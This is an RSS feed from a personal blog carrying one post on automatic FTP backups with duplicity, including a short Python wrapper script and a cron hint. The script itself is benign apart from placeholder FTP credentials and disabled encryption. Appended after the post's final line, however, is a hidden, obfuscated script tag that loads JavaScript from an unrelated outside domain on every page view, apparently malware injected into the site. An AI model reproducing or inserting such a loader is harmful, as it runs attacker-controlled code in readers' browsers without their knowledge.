<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; duplicity</title>
	<atom:link href="http://www.larsen-b.com/tags/duplicity/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Automatic FTP backup for servers</title>
		<link>http://www.larsen-b.com/Article/409.html</link>
		<comments>http://www.larsen-b.com/Article/409.html#comments</comments>
		<pubDate>Sat, 28 Jan 2012 17:07:48 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[duplicity]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[server]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=409</guid>
		<description><![CDATA[Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. &#8230; <a href="http://www.larsen-b.com/Article/409.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today I need to find a way to do some backup on an FTP server. Of course there is a lot of way to do that, but I need something automatic that does some full (monthly) and incremental (daily) backup. I decided to use <a href="http://duplicity.nongnu.org/">duplicity</a> because it&#8217;s a really simple and effective software. The main issue, is that duplicity command line is a bit hard to remember for me. So why not simply write a simple python script that does the job for me.</p>
<p>So here, we are :</p>
<pre><span style="color: #444444;">#!/usr/bin/python </span>
# Edit DATA and DEST
<span style="color: #2040a0;">DATA</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'/var/www'</span>
<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'ftp://username:password@ftp.server/backup'</span>

<strong>import</strong> <span style="color: #2040a0;">os</span>
<strong>import</strong> <span style="color: #2040a0;">sys</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'incr'</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span> <span style="color: #4444ff;">=</span><span style="color: #008000;">'nice -n 19 duplicity %s  --volsize 512 --no-encryption --asynchronous-upload '</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">b_type</span>,<span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #008000;">'%s %s %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span>,<span style="color: #2040a0;">DATA</span>,<span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity collection-status  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity list-current-files  %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'duplicity remove-all-but-n-full 1 --force %s'</span> <span style="color: #4444ff;">%</span> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">DEST</span><span style="color: #4444ff;">)</span>
    <span style="color: #2040a0;">os</span>.<span style="color: #2040a0;">system</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">dup_cmd</span><span style="color: #4444ff;">)</span>

<span style="color: #2040a0;">def</span> <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">:</span>
    <strong>print</strong> <span style="color: #008000;">"%s [-incr|-full|-list|-info|-clean]"</span> <span style="color: #4444ff;">%</span> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">]</span>

<strong>if</strong> <span style="color: #2040a0;">__name__</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #008000;">'__main__'</span><span style="color: #4444ff;">:</span>
    <strong>if</strong> <span style="color: #2040a0;">len</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">&gt;</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">:</span>
        <strong>if</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-incr'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'inc'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-full'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">backup</span><span style="color: #4444ff;">(</span><span style="color: #008000;">'full'</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-info'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">info</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-list'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">list_files</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>elif</strong> <span style="color: #2040a0;">sys</span>.<span style="color: #2040a0;">argv</span><span style="color: #4444ff;">[</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">]</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span> <span style="color: #008000;">'-clean'</span><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">clean</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
        <strong>else</strong><span style="color: #4444ff;">:</span>
            <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
    <strong>else</strong><span style="color: #4444ff;">:</span>
        <span style="color: #2040a0;">usage</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span></pre>
<p>Please note that I disabled the PGP encryption for this backup. Mainly because, I don&#8217;t want to deal w/ lost keys when I will need to restore the backup. But this can be done easily. I will post a complete guide if someone ask.</p>
<p>The next step call the script in cron.d for example with something like this : <em>30  3   *  *  * </em></p>
<p><strong>Feel happy no more stress with backup ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/409.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
